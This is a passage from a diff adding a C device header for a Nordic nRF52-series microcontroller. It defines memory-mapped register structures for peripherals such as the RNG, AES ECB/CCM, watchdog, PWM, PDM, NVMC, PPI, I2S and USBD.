0x00000524) Slope of second piecewise linear function */ + __IOM uint32_t A2; /*!< (@ 0x00000528) Slope of third piecewise linear function */ + __IOM uint32_t A3; /*!< (@ 0x0000052C) Slope of fourth piecewise linear function */ + __IOM uint32_t A4; /*!< (@ 0x00000530) Slope of fifth piecewise linear function */ + __IOM uint32_t A5; /*!< (@ 0x00000534) Slope of sixth piecewise linear function */ + __IM uint32_t RESERVED4[2]; + __IOM uint32_t B0; /*!< (@ 0x00000540) y-intercept of first piecewise linear function */ + __IOM uint32_t B1; /*!< (@ 0x00000544) y-intercept of second piecewise linear function */ + __IOM uint32_t B2; /*!< (@ 0x00000548) y-intercept of third piecewise linear function */ + __IOM uint32_t B3; /*!< (@ 0x0000054C) y-intercept of fourth piecewise linear function */ + __IOM uint32_t B4; /*!< (@ 0x00000550) y-intercept of fifth piecewise linear function */ + __IOM uint32_t B5; /*!< (@ 0x00000554) y-intercept of sixth piecewise linear function */ + __IM uint32_t RESERVED5[2]; + __IOM uint32_t T0; /*!< (@ 0x00000560) End point of first piecewise linear function */ + __IOM uint32_t T1; /*!< (@ 0x00000564) End point of second piecewise linear function */ + __IOM uint32_t T2; /*!< (@ 0x00000568) End point of third piecewise linear function */ + __IOM uint32_t T3; /*!< (@ 0x0000056C) End point of fourth piecewise linear function */ + __IOM uint32_t T4; /*!< (@ 0x00000570) End point of fifth piecewise linear function */ +} NRF_TEMP_Type; /*!< Size = 1396 (0x574) */ + + + +/* =========================================================================================================================== */ +/* ================ RNG ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Random Number Generator (RNG) + */ + +typedef struct { /*!< (@ 0x4000D000) RNG Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Task starting the random number generator */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000004) Task stopping the random number generator */ + __IM uint32_t RESERVED[62]; + __IOM uint32_t EVENTS_VALRDY; /*!< (@ 0x00000100) Event being generated for every new random number + written to the VALUE register */ + __IM uint32_t RESERVED1[63]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED2[64]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED3[126]; + __IOM uint32_t CONFIG; /*!< (@ 0x00000504) Configuration register */ + __IM uint32_t VALUE; /*!< (@ 0x00000508) Output random number */ +} NRF_RNG_Type; /*!< Size = 1292 (0x50c) */ + + + +/* =========================================================================================================================== */ +/* ================ ECB ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief AES ECB Mode Encryption (ECB) + */ + +typedef struct { /*!< (@ 0x4000E000) ECB Structure */ + __OM uint32_t TASKS_STARTECB; /*!< (@ 0x00000000) Start ECB block encrypt */ + __OM uint32_t TASKS_STOPECB; /*!< (@ 0x00000004) Abort a possible executing ECB operation */ + __IM uint32_t RESERVED[62]; + __IOM uint32_t EVENTS_ENDECB; /*!< (@ 0x00000100) ECB block encrypt complete */ + __IOM uint32_t EVENTS_ERRORECB; /*!< (@ 0x00000104) ECB block encrypt aborted because of a STOPECB + task or due to an error */ + __IM uint32_t RESERVED1[127]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED2[126]; + __IOM uint32_t ECBDATAPTR; /*!< (@ 0x00000504) ECB block encrypt memory pointers */ +} NRF_ECB_Type; /*!< Size = 1288 (0x508) */ + + + +/* =========================================================================================================================== */ +/* ================ AAR ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Accelerated Address Resolver (AAR) + */ + +typedef struct { /*!< (@ 0x4000F000) AAR Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Start resolving addresses based on IRKs specified + in the IRK data structure */ + __IM uint32_t RESERVED; + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000008) Stop resolving addresses */ + __IM uint32_t RESERVED1[61]; + __IOM uint32_t EVENTS_END; /*!< (@ 0x00000100) Address resolution procedure complete */ + __IOM uint32_t EVENTS_RESOLVED; /*!< (@ 0x00000104) Address resolved */ + __IOM uint32_t EVENTS_NOTRESOLVED; /*!< (@ 0x00000108) Address not resolved */ + __IM uint32_t RESERVED2[126]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED3[61]; + __IM uint32_t STATUS; /*!< (@ 0x00000400) Resolution status */ + __IM uint32_t RESERVED4[63]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable AAR */ + __IOM uint32_t NIRK; /*!< (@ 0x00000504) Number of IRKs */ + __IOM uint32_t IRKPTR; /*!< (@ 0x00000508) Pointer to IRK data structure */ + __IM uint32_t RESERVED5; + __IOM uint32_t ADDRPTR; /*!< (@ 0x00000510) Pointer to the resolvable address */ + __IOM uint32_t SCRATCHPTR; /*!< (@ 0x00000514) Pointer to data area used for temporary storage */ +} NRF_AAR_Type; /*!< Size = 1304 (0x518) */ + + + +/* =========================================================================================================================== */ +/* ================ CCM ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief AES CCM Mode Encryption (CCM) + */ + +typedef struct { /*!< (@ 0x4000F000) CCM Structure */ + __OM uint32_t TASKS_KSGEN; /*!< (@ 0x00000000) Start generation of keystream. This operation + will stop by itself when completed. */ + __OM uint32_t TASKS_CRYPT; /*!< (@ 0x00000004) Start encryption/decryption. This operation will + stop by itself when completed. */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000008) Stop encryption/decryption */ + __OM uint32_t TASKS_RATEOVERRIDE; /*!< (@ 0x0000000C) Override DATARATE setting in MODE register with + the contents of the RATEOVERRIDE register + for any ongoing encryption/decryption */ + __IM uint32_t RESERVED[60]; + __IOM uint32_t EVENTS_ENDKSGEN; /*!< (@ 0x00000100) Keystream generation complete */ + __IOM uint32_t EVENTS_ENDCRYPT; /*!< (@ 0x00000104) Encrypt/decrypt complete */ + __IOM uint32_t EVENTS_ERROR; /*!< (@ 0x00000108) Deprecated register - CCM error event */ + __IM uint32_t RESERVED1[61]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED2[64]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED3[61]; + __IM uint32_t MICSTATUS; /*!< (@ 0x00000400) MIC check result */ + __IM uint32_t RESERVED4[63]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable */ + __IOM uint32_t MODE; /*!< (@ 0x00000504) Operation mode */ + __IOM uint32_t CNFPTR; /*!< (@ 0x00000508) Pointer to data structure holding AES key and + NONCE vector */ + __IOM uint32_t INPTR; /*!< (@ 0x0000050C) Input pointer */ + __IOM uint32_t OUTPTR; /*!< (@ 0x00000510) Output pointer */ + __IOM uint32_t SCRATCHPTR; /*!< (@ 0x00000514) Pointer to data area used for temporary storage */ + __IOM uint32_t MAXPACKETSIZE; /*!< (@ 0x00000518) Length of keystream generated when MODE.LENGTH + = Extended. */ + __IOM uint32_t RATEOVERRIDE; /*!< (@ 0x0000051C) Data rate override setting. */ +} NRF_CCM_Type; /*!< Size = 1312 (0x520) */ + + + +/* =========================================================================================================================== */ +/* ================ WDT ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Watchdog Timer (WDT) + */ + +typedef struct { /*!< (@ 0x40010000) WDT Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Start the watchdog */ + __IM uint32_t RESERVED[63]; + __IOM uint32_t EVENTS_TIMEOUT; /*!< (@ 0x00000100) Watchdog timeout */ + __IM uint32_t RESERVED1[128]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED2[61]; + __IM uint32_t RUNSTATUS; /*!< (@ 0x00000400) Run status */ + __IM uint32_t REQSTATUS; /*!< (@ 0x00000404) Request status */ + __IM uint32_t RESERVED3[63]; + __IOM uint32_t CRV; /*!< (@ 0x00000504) Counter reload value */ + __IOM uint32_t RREN; /*!< (@ 0x00000508) Enable register for reload request registers */ + __IOM uint32_t CONFIG; /*!< (@ 0x0000050C) Configuration register */ + __IM uint32_t RESERVED4[60]; + __OM uint32_t RR[8]; /*!< (@ 0x00000600) Description collection: Reload request n */ +} NRF_WDT_Type; /*!< Size = 1568 (0x620) */ + + + +/* =========================================================================================================================== */ +/* ================ QDEC ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Quadrature Decoder (QDEC) + */ + +typedef struct { /*!< (@ 0x40012000) QDEC Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Task starting the quadrature decoder */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000004) Task stopping the quadrature decoder */ + __OM uint32_t TASKS_READCLRACC; /*!< (@ 0x00000008) Read and clear ACC and ACCDBL */ + __OM uint32_t TASKS_RDCLRACC; /*!< (@ 0x0000000C) Read and clear ACC */ + __OM uint32_t TASKS_RDCLRDBL; /*!< (@ 0x00000010) Read and clear ACCDBL */ + __IM uint32_t RESERVED[59]; + __IOM uint32_t EVENTS_SAMPLERDY; /*!< (@ 0x00000100) Event being generated for every new sample value + written to the SAMPLE register */ + __IOM uint32_t EVENTS_REPORTRDY; /*!< (@ 0x00000104) Non-null report ready */ + __IOM uint32_t EVENTS_ACCOF; /*!< (@ 0x00000108) ACC or ACCDBL register overflow */ + __IOM uint32_t EVENTS_DBLRDY; /*!< (@ 0x0000010C) Double displacement(s) detected */ + __IOM uint32_t EVENTS_STOPPED; /*!< (@ 0x00000110) QDEC has been stopped */ + __IM uint32_t RESERVED1[59]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED2[64]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED3[125]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable the quadrature decoder */ + __IOM uint32_t LEDPOL; /*!< (@ 0x00000504) LED output pin polarity */ + __IOM uint32_t SAMPLEPER; /*!< (@ 0x00000508) Sample period */ + __IM int32_t SAMPLE; /*!< (@ 0x0000050C) Motion sample value */ + __IOM uint32_t REPORTPER; /*!< (@ 0x00000510) Number of samples to be taken before REPORTRDY + and DBLRDY events can be generated */ + __IM int32_t ACC; /*!< (@ 0x00000514) Register accumulating the valid transitions */ + __IM int32_t ACCREAD; /*!< (@ 0x00000518) Snapshot of the ACC register, updated by the + READCLRACC or RDCLRACC task */ + __IOM QDEC_PSEL_Type PSEL; /*!< (@ 0x0000051C) Unspecified */ + __IOM uint32_t DBFEN; /*!< (@ 0x00000528) Enable input debounce filters */ + __IM uint32_t RESERVED4[5]; + __IOM uint32_t LEDPRE; /*!< (@ 0x00000540) Time period the LED is switched ON prior to sampling */ + __IM uint32_t ACCDBL; /*!< (@ 0x00000544) Register accumulating the number of detected + double transitions */ + __IM uint32_t ACCDBLREAD; /*!< (@ 0x00000548) Snapshot of the ACCDBL, updated by the READCLRACC + or RDCLRDBL task */ +} NRF_QDEC_Type; /*!< Size = 1356 (0x54c) */ + + + +/* =========================================================================================================================== */ +/* ================ COMP ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Comparator (COMP) + */ + +typedef struct { /*!< (@ 0x40013000) COMP Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Start comparator */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000004) Stop comparator */ + __OM uint32_t TASKS_SAMPLE; /*!< (@ 0x00000008) Sample comparator value */ + __IM uint32_t RESERVED[61]; + __IOM uint32_t EVENTS_READY; /*!< (@ 0x00000100) COMP is ready and output is valid */ + __IOM uint32_t EVENTS_DOWN; /*!< (@ 0x00000104) Downward crossing */ + __IOM uint32_t EVENTS_UP; /*!< (@ 0x00000108) Upward crossing */ + __IOM uint32_t EVENTS_CROSS; /*!< (@ 0x0000010C) Downward or upward crossing */ + __IM uint32_t RESERVED1[60]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED2[63]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED3[61]; + __IM uint32_t RESULT; /*!< (@ 0x00000400) Compare result */ + __IM uint32_t RESERVED4[63]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) COMP enable */ + __IOM uint32_t PSEL; /*!< (@ 0x00000504) Pin select */ + __IOM uint32_t REFSEL; /*!< (@ 0x00000508) Reference source select for single-ended mode */ + __IOM uint32_t EXTREFSEL; /*!< (@ 0x0000050C) External reference select */ + __IM uint32_t RESERVED5[8]; + __IOM uint32_t TH; /*!< (@ 0x00000530) Threshold configuration for hysteresis unit */ + __IOM uint32_t MODE; /*!< (@ 0x00000534) Mode configuration */ + __IOM uint32_t HYST; /*!< (@ 0x00000538) Comparator hysteresis enable */ +} NRF_COMP_Type; /*!< Size = 1340 (0x53c) */ + + + +/* =========================================================================================================================== */ +/* ================ LPCOMP ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Low-power comparator (LPCOMP) + */ + +typedef struct { /*!< (@ 0x40013000) LPCOMP Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Start comparator */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000004) Stop comparator */ + __OM uint32_t TASKS_SAMPLE; /*!< (@ 0x00000008) Sample comparator value */ + __IM uint32_t RESERVED[61]; + __IOM uint32_t EVENTS_READY; /*!< (@ 0x00000100) LPCOMP is ready and output is valid */ + __IOM uint32_t EVENTS_DOWN; /*!< (@ 0x00000104) Downward crossing */ + __IOM uint32_t EVENTS_UP; /*!< (@ 0x00000108) Upward crossing */ + __IOM uint32_t EVENTS_CROSS; /*!< (@ 0x0000010C) Downward or upward crossing */ + __IM uint32_t RESERVED1[60]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED2[64]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED3[61]; + __IM uint32_t RESULT; /*!< (@ 0x00000400) Compare result */ + __IM uint32_t RESERVED4[63]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable LPCOMP */ + __IOM uint32_t PSEL; /*!< (@ 0x00000504) Input pin select */ + __IOM uint32_t REFSEL; /*!< (@ 0x00000508) Reference select */ + __IOM uint32_t EXTREFSEL; /*!< (@ 0x0000050C) External reference select */ + __IM uint32_t RESERVED5[4]; + __IOM uint32_t ANADETECT; /*!< (@ 0x00000520) Analog detect configuration */ + __IM uint32_t RESERVED6[5]; + __IOM uint32_t HYST; /*!< (@ 0x00000538) Comparator hysteresis enable */ +} NRF_LPCOMP_Type; /*!< Size = 1340 (0x53c) */ + + + +/* =========================================================================================================================== */ +/* ================ EGU0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Event generator unit 0 (EGU0) + */ + +typedef struct { /*!< (@ 0x40014000) EGU0 Structure */ + __OM uint32_t TASKS_TRIGGER[16]; /*!< (@ 0x00000000) Description collection: Trigger n for triggering + the corresponding TRIGGERED[n] event */ + __IM uint32_t RESERVED[48]; + __IOM uint32_t EVENTS_TRIGGERED[16]; /*!< (@ 0x00000100) Description collection: Event number n generated + by triggering the corresponding TRIGGER[n] + task */ + __IM uint32_t RESERVED1[112]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ +} NRF_EGU_Type; /*!< Size = 780 (0x30c) */ + + + +/* =========================================================================================================================== */ +/* ================ SWI0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Software interrupt 0 (SWI0) + */ + +typedef struct { /*!< (@ 0x40014000) SWI0 Structure */ + __IM uint32_t UNUSED; /*!< (@ 0x00000000) Unused. */ +} NRF_SWI_Type; /*!< Size = 4 (0x4) */ + + + +/* =========================================================================================================================== */ +/* ================ PWM0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Pulse width modulation unit 0 (PWM0) + */ + +typedef struct { /*!< (@ 0x4001C000) PWM0 Structure */ + __IM uint32_t RESERVED; + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000004) Stops PWM pulse generation on all channels at + the end of current PWM period, and stops + sequence playback */ + __OM uint32_t TASKS_SEQSTART[2]; /*!< (@ 0x00000008) Description collection: Loads the first PWM value + on all enabled channels from sequence n, + and starts playing that sequence at the + rate defined in SEQ[n]REFRESH and/or DECODER.MODE. + Causes PWM generation to start if not running. */ + __OM uint32_t TASKS_NEXTSTEP; /*!< (@ 0x00000010) Steps by one value in the current sequence on + all enabled channels if DECODER.MODE=NextStep. + Does not cause PWM generation to start if + not running. */ + __IM uint32_t RESERVED1[60]; + __IOM uint32_t EVENTS_STOPPED; /*!< (@ 0x00000104) Response to STOP task, emitted when PWM pulses + are no longer generated */ + __IOM uint32_t EVENTS_SEQSTARTED[2]; /*!< (@ 0x00000108) Description collection: First PWM period started + on sequence n */ + __IOM uint32_t EVENTS_SEQEND[2]; /*!< (@ 0x00000110) Description collection: Emitted at end of every + sequence n, when last value from RAM has + been applied to wave counter */ + __IOM uint32_t EVENTS_PWMPERIODEND; /*!< (@ 0x00000118) Emitted at the end of each PWM period */ + __IOM uint32_t EVENTS_LOOPSDONE; /*!< (@ 0x0000011C) Concatenated sequences have been played the amount + of times defined in LOOP.CNT */ + __IM uint32_t RESERVED2[56]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED3[63]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED4[125]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) PWM module enable register */ + __IOM uint32_t MODE; /*!< (@ 0x00000504) Selects operating mode of the wave counter */ + __IOM uint32_t COUNTERTOP; /*!< (@ 0x00000508) Value up to which the pulse generator counter + counts */ + __IOM uint32_t PRESCALER; /*!< (@ 0x0000050C) Configuration for PWM_CLK */ + __IOM uint32_t DECODER; /*!< (@ 0x00000510) Configuration of the decoder */ + __IOM uint32_t LOOP; /*!< (@ 0x00000514) Number of playbacks of a loop */ + __IM uint32_t RESERVED5[2]; + __IOM PWM_SEQ_Type SEQ[2]; /*!< (@ 0x00000520) Unspecified */ + __IOM PWM_PSEL_Type PSEL; /*!< (@ 0x00000560) Unspecified */ +} NRF_PWM_Type; /*!< Size = 1392 (0x570) */ + + + +/* =========================================================================================================================== */ +/* ================ PDM ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Pulse Density Modulation (Digital Microphone) Interface (PDM) + */ + +typedef struct { /*!< (@ 0x4001D000) PDM Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Starts continuous PDM transfer */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000004) Stops PDM transfer */ + __IM uint32_t RESERVED[62]; + __IOM uint32_t EVENTS_STARTED; /*!< (@ 0x00000100) PDM transfer has started */ + __IOM uint32_t EVENTS_STOPPED; /*!< (@ 0x00000104) PDM transfer has finished */ + __IOM uint32_t EVENTS_END; /*!< (@ 0x00000108) The PDM has written the last sample specified + by SAMPLE.MAXCNT (or the last sample after + a STOP task has been received) to Data RAM */ + __IM uint32_t RESERVED1[125]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED2[125]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) PDM module enable register */ + __IOM uint32_t PDMCLKCTRL; /*!< (@ 0x00000504) PDM clock generator control */ + __IOM uint32_t MODE; /*!< (@ 0x00000508) Defines the routing of the connected PDM microphones' + signals */ + __IM uint32_t RESERVED3[3]; + __IOM uint32_t GAINL; /*!< (@ 0x00000518) Left output gain adjustment */ + __IOM uint32_t GAINR; /*!< (@ 0x0000051C) Right output gain adjustment */ + __IOM uint32_t RATIO; /*!< (@ 0x00000520) Selects the ratio between PDM_CLK and output + sample rate. Change PDMCLKCTRL accordingly. */ + __IM uint32_t RESERVED4[7]; + __IOM PDM_PSEL_Type PSEL; /*!< (@ 0x00000540) Unspecified */ + __IM uint32_t RESERVED5[6]; + __IOM PDM_SAMPLE_Type SAMPLE; /*!< (@ 0x00000560) Unspecified */ +} NRF_PDM_Type; /*!< Size = 1384 (0x568) */ + + + +/* =========================================================================================================================== */ +/* ================ ACL ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Access control lists (ACL) + */ + +typedef struct { /*!< (@ 0x4001E000) ACL Structure */ + __IM uint32_t RESERVED[512]; + __IOM ACL_ACL_Type ACL[8]; /*!< (@ 0x00000800) Unspecified */ +} NRF_ACL_Type; /*!< Size = 2176 (0x880) */ + + + +/* =========================================================================================================================== */ +/* ================ NVMC ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Non Volatile Memory Controller (NVMC) + */ + +typedef struct { /*!< (@ 0x4001E000) NVMC Structure */ + __IM uint32_t RESERVED[256]; + __IM uint32_t READY; /*!< (@ 0x00000400) Ready flag */ + __IM uint32_t RESERVED1; + __IM uint32_t READYNEXT; /*!< (@ 0x00000408) Ready flag */ + __IM uint32_t RESERVED2[62]; + __IOM uint32_t CONFIG; /*!< (@ 0x00000504) Configuration register */ + + union { + __OM uint32_t ERASEPAGE; /*!< (@ 0x00000508) Register for erasing a page in code area */ + __OM uint32_t ERASEPCR1; /*!< (@ 0x00000508) Deprecated register - Register for erasing a + page in code area, equivalent to ERASEPAGE */ + }; + __OM uint32_t ERASEALL; /*!< (@ 0x0000050C) Register for erasing all non-volatile user memory */ + __OM uint32_t ERASEPCR0; /*!< (@ 0x00000510) Deprecated register - Register for erasing a + page in code area, equivalent to ERASEPAGE */ + __OM uint32_t ERASEUICR; /*!< (@ 0x00000514) Register for erasing user information configuration + registers */ + __OM uint32_t ERASEPAGEPARTIAL; /*!< (@ 0x00000518) Register for partial erase of a page in code + area */ + __IOM uint32_t ERASEPAGEPARTIALCFG; /*!< (@ 0x0000051C) Register for partial erase configuration */ + __IM uint32_t RESERVED3[8]; + __IOM uint32_t ICACHECNF; /*!< (@ 0x00000540) I-code cache configuration register */ + __IM uint32_t RESERVED4; + __IOM uint32_t IHIT; /*!< (@ 0x00000548) I-code cache hit counter */ + __IOM uint32_t IMISS; /*!< (@ 0x0000054C) I-code cache miss counter */ +} NRF_NVMC_Type; /*!< Size = 1360 (0x550) */ + + + +/* =========================================================================================================================== */ +/* ================ PPI ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Programmable Peripheral Interconnect (PPI) + */ + +typedef struct { /*!< (@ 0x4001F000) PPI Structure */ + __OM PPI_TASKS_CHG_Type TASKS_CHG[6]; /*!< (@ 0x00000000) Channel group tasks */ + __IM uint32_t RESERVED[308]; + __IOM uint32_t CHEN; /*!< (@ 0x00000500) Channel enable register */ + __IOM uint32_t CHENSET; /*!< (@ 0x00000504) Channel enable set register */ + __IOM uint32_t CHENCLR; /*!< (@ 0x00000508) Channel enable clear register */ + __IM uint32_t RESERVED1; + __IOM PPI_CH_Type CH[20]; /*!< (@ 0x00000510) PPI Channel */ + __IM uint32_t RESERVED2[148]; + __IOM uint32_t CHG[6]; /*!< (@ 0x00000800) Description collection: Channel group n */ + __IM uint32_t RESERVED3[62]; + __IOM PPI_FORK_Type FORK[32]; /*!< (@ 0x00000910) Fork */ +} NRF_PPI_Type; /*!< Size = 2448 (0x990) */ + + + +/* =========================================================================================================================== */ +/* ================ MWU ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Memory Watch Unit (MWU) + */ + +typedef struct { /*!< (@ 0x40020000) MWU Structure */ + __IM uint32_t RESERVED[64]; + __IOM MWU_EVENTS_REGION_Type EVENTS_REGION[4];/*!< (@ 0x00000100) Peripheral events. */ + __IM uint32_t RESERVED1[16]; + __IOM MWU_EVENTS_PREGION_Type EVENTS_PREGION[2];/*!< (@ 0x00000160) Peripheral events. */ + __IM uint32_t RESERVED2[100]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED3[5]; + __IOM uint32_t NMIEN; /*!< (@ 0x00000320) Enable or disable interrupt */ + __IOM uint32_t NMIENSET; /*!< (@ 0x00000324) Enable interrupt */ + __IOM uint32_t NMIENCLR; /*!< (@ 0x00000328) Disable interrupt */ + __IM uint32_t RESERVED4[53]; + __IOM MWU_PERREGION_Type PERREGION[2]; /*!< (@ 0x00000400) Unspecified */ + __IM uint32_t RESERVED5[64]; + __IOM uint32_t REGIONEN; /*!< (@ 0x00000510) Enable/disable regions watch */ + __IOM uint32_t REGIONENSET; /*!< (@ 0x00000514) Enable regions watch */ + __IOM uint32_t REGIONENCLR; /*!< (@ 0x00000518) Disable regions watch */ + __IM uint32_t RESERVED6[57]; + __IOM MWU_REGION_Type REGION[4]; /*!< (@ 0x00000600) Unspecified */ + __IM uint32_t RESERVED7[32]; + __IOM MWU_PREGION_Type PREGION[2]; /*!< (@ 0x000006C0) Unspecified */ +} NRF_MWU_Type; /*!< Size = 1760 (0x6e0) */ + + + +/* =========================================================================================================================== */ +/* ================ I2S ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Inter-IC Sound (I2S) + */ + +typedef struct { /*!< (@ 0x40025000) I2S Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Starts continuous I2S transfer. Also starts MCK + generator when this is enabled. */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000004) Stops I2S transfer. Also stops MCK generator. + Triggering this task will cause the STOPPED + event to be generated. */ + __IM uint32_t RESERVED[63]; + __IOM uint32_t EVENTS_RXPTRUPD; /*!< (@ 0x00000104) The RXD.PTR register has been copied to internal + double-buffers. When the I2S module is started + and RX is enabled, this event will be generated + for every RXTXD.MAXCNT words that are received + on the SDIN pin. */ + __IOM uint32_t EVENTS_STOPPED; /*!< (@ 0x00000108) I2S transfer stopped. */ + __IM uint32_t RESERVED1[2]; + __IOM uint32_t EVENTS_TXPTRUPD; /*!< (@ 0x00000114) The TDX.PTR register has been copied to internal + double-buffers. When the I2S module is started + and TX is enabled, this event will be generated + for every RXTXD.MAXCNT words that are sent + on the SDOUT pin. */ + __IM uint32_t RESERVED2[122]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED3[125]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable I2S module. */ + __IOM I2S_CONFIG_Type CONFIG; /*!< (@ 0x00000504) Unspecified */ + __IM uint32_t RESERVED4[3]; + __IOM I2S_RXD_Type RXD; /*!< (@ 0x00000538) Unspecified */ + __IM uint32_t RESERVED5; + __IOM I2S_TXD_Type TXD; /*!< (@ 0x00000540) Unspecified */ + __IM uint32_t RESERVED6[3]; + __IOM I2S_RXTXD_Type RXTXD; /*!< (@ 0x00000550) Unspecified */ + __IM uint32_t RESERVED7[3]; + __IOM I2S_PSEL_Type PSEL; /*!< (@ 0x00000560) Unspecified */ +} NRF_I2S_Type; /*!< Size = 1396 (0x574) */ + + + +/* =========================================================================================================================== */ +/* ================ FPU ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief FPU (FPU) + */ + +typedef struct { /*!< (@ 0x40026000) FPU Structure */ + __IM uint32_t UNUSED; /*!< (@ 0x00000000) Unused. */ +} NRF_FPU_Type; /*!< Size = 4 (0x4) */ + + + +/* =========================================================================================================================== */ +/* ================ USBD ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Universal serial bus device (USBD) + */ + +typedef struct { /*!< (@ 0x40027000) USBD Structure */ + __IM uint32_t RESERVED; + __OM uint32_t TASKS_STARTEPIN[8]; /*!< (@ 0x00000004) Description collection: Captures the EPIN[n].PTR + and EPIN[n].MAXCNT registers values, and + enables endpoint IN n to respond to traffic + from host */ + __OM uint32_t TASKS_STARTISOIN; /*!< (@ 0x00000024) Captures the ISOIN.PTR and ISOIN.MAXCNT registers + values, and enables sending data on ISO + endpoint */ + __OM uint32_t TASKS_STARTEPOUT[8]; /*!< (@ 0x00000028) Description collection: Captures the EPOUT[n].PTR + and EPOUT[n].MAXCNT registers values, and + enables endpoint n to respond to traffic + from host */ + __OM uint32_t TASKS_STARTISOOUT; /*!< (@ 0x00000048) Captures the ISOOUT.PTR and 